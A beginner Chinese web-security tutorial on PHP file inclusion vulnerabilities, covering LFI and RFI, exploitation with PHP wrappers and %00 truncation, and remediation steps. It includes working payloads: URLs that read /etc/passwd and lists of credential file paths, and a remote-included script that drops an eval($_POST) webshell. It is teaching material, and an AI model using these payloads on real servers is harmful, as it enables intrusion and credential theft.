web安全入门 5(文件包含漏洞)
文件包含漏洞
开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程一般被称为包含。为了使代码更加灵活,通常会将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
1. 包含漏洞原理解析
大多数Web语言都支持文件包含操作,其中PHP语言所提供的文件包含功能太强大、太灵活,也就导致文件包含漏洞经常出现在PHP语言中。这里就以PHP语言为例。
PHP中提供了四个文件包含的函数:
(1) include( )
当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含
进来,发生错误时之给出一个警告,继续向下执行。
(2)include_once( )
功能与 Include()相同,区别在于当重复调用同一文件时,程序只调用一次
(3)require( )
require()与 include()的区别在于 require()执行如果发生错误,函数会输出
错误信息,并终止脚本的运行。
(4)require_once( )
功能与 require()相同,区别在于当重复调用同一文件时,程序只调用一次。
(5)fopen()
(6)readfile()
2 . 本地包含与远程包含
(1)本地包含
本地文件包含LFI也即Local File Inclusion,其特性是可包含任意类型的文件并且如果被包含文件中有类似 “<?php ……(省略号为php代码) ?>”或“<? ……(省略号 为php代码) ?>”,会执行字符串中的PHP代码。
(2)远程包含
远程文件包含RFI也即Remote File Inclusion,其基本原理 与本地文件包含LFI类似,区别只是被包含的文件由原来的本地文件路径变为远程文件路径。
限制条件: PHP的allow_url_include需要为On(如果没有 allow_url_include这一项则只需将allow_url_fopen设置为On即 可);(在php.ini中配置)
3 . 文件包含利用
(1)读取敏感文件
访问URL: http://www.test.com/index.php?page=/etc/passwd
? 如果目标主机文件存在,并且有相应的权限,那么就可以读出文件的内容。反之,就会得到一个类似于;open_basedir restriction in effect的警告。
常见的敏感信息路径
Windows系统
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息
Linux/Unix系统
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/us/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
(2)远程包含Shell
如果目标主机allow_url_fopen选项是激活的,就可以尝试远程包 含一句话木马,如:http://www.test.com/echo.txt,代码如下:<?php fputs(fopen("shell.php","w"),"<?php eval($_POST[yale]);?>");?>
? 访问:http://www.example.com/index.php?page=http://www.test.com/echo.txt 。将会在index.php所在的目录下生成shell.php, 内容为:
? <?php eval($_POST[xxser]);?>
(3)本地包含配合文件上传
假设已经上传一句话图片木马到服务器,路径为: /uploadfile/xxx.jpg
图片代码如下:<?php fputs(fopen("shell.php","w"),"<?php eval($_POSTyale]);?>");?>
访问URL: http://www.example.com/index.php?page=./uploadfile /xxx.jpg ,包含这张图片,将会在index.php所在的目录下生 成shell.php。
(4) 使用PHP封装协议
名称 含义
php:// 访问各个输入/输出流(I/O streams)
zlib:// 压缩流
data:// 数据(RFC 2397)
ssh2:// Secure Shell 2
expect:// 处理交互式的流
glob:// 查找匹配的文件路径模式
phar PHP归档
php://filter 有一些敏感信息会保存在php文件中,如果我们直接利用文件包含去打开一个php文件,php代码是不会显示在页面上的,例如打开data目录下的config.php:
这时候我们可以以base64编码的方式读取指定文件的源码输入:php://filter/convert.base64-encode/resource=文件路径得到config.php加密后的源码:
再进行base64解码,获取到数据库账号等敏感信息:
data://
利用data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo()函数:
如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入:
zip:// 执行压缩文件
如果网站允许我们上传压缩文件,我们也可以将php文件压缩后进行上传,再通过zip://协议执行。以DVWA平台为例,我们将phpinfo.php文件进行压缩后上传:
通过zip://协议执行zip压缩包中的phpinfo.php文件:(%23防止和url规则冲突)
php://input
利用该方法,我们可以直接写入php文件,输入file=php://input,然后使用burp抓包,写入php代码:
发送报文,可以看到本地生成了一句话木马:
伪协议利用条件及用法
4 . 截断(%00)
vuln.php?page=/etc/passwd%00
vuln.php?page=/etc/passwd…
vuln.php?page=/etc/passwd/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…
文件包含可以包含任意文件,即便被包含的文件并不是与当前编程语言相关,甚至为图片,只要文件被包含,其内容会被包含文件包含,并以当前服务器脚本语言执行。因此可以建立随意后缀文件进行包含。当开发者限制了包含文件的后缀是可以使用%00截断。前提条件如下:
(1). PHP版本 < 5.3 (不包括5.3) ;
(2). PHPmagic_quotes_gpc = off;
(3).PHP对所接收的参数,如以上代码的$_GET['file']未使用addslashes函数。
例如:开发者限制后缀名为.php 则,
当前提条件满足时,使用截断则可打开包含文件。
顺便提一下,为什么 %00 能截断,PHP 内核是 C 实现的,使用了 C 中的字符处理函数,在连接字符串时,0 字节也就是 x00 会作为结束符,所以只要加入一个 0 字节,就可以截断字符串,0 经过 URL 编码后为 %00。
当 %00 不能截断时,在 win 系统中,可以利用 php 的 zip:// 协议,例如:写一个 hello.php,内容为 <?php phpinfo();?>,然后压缩成文件 test.zip 并上传,随后在系统中输入 localhost/test.php?file=zip://test.zip%23hello 即可,因为程序有后缀措施,这样参数 file 实际就变成了 zip://test.zip#23hello.php,意思为读取 test.zip 中的 hello.php 文件内容。
还有一种截断方法就是?号截断,在路径后面输入?号,服务器会认为?号后面的内容为GET方法传递的参数,成功读取test.php如下:
如果test.php是恶意webshell文件,那么利用该漏洞就可以获取到服务器权限。
5 . 文件包含漏洞解决办法
(1)严格检查变量是否已经初始化。
(2)建议假定所有输入都是可疑的,尝试对所有输入可能包含的文件 地址,包括服务器本地文件以及远程文件,进行严格的检查,参数中不允许出现…/之类的目录跳转符。
(3)严格检查include内的文件包含函数中的参数是否外界可控。
(4)不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务器端进行。
(5)在发布应用程序之前测试所有已知的威胁。
(6)关闭php.ini的 allow_url_fopen、allow_url_include。
(7)使用str_replace等方法过滤掉危险字符
配置open_basedir,防止目录遍历
php版本升级,防止%00截断
对上传的文件进行重命名,防止被读取
对于动态包含的文件可以设置一个白名单,不读取非白名单的文件
做好管理员权限划分,做好文件的权限管理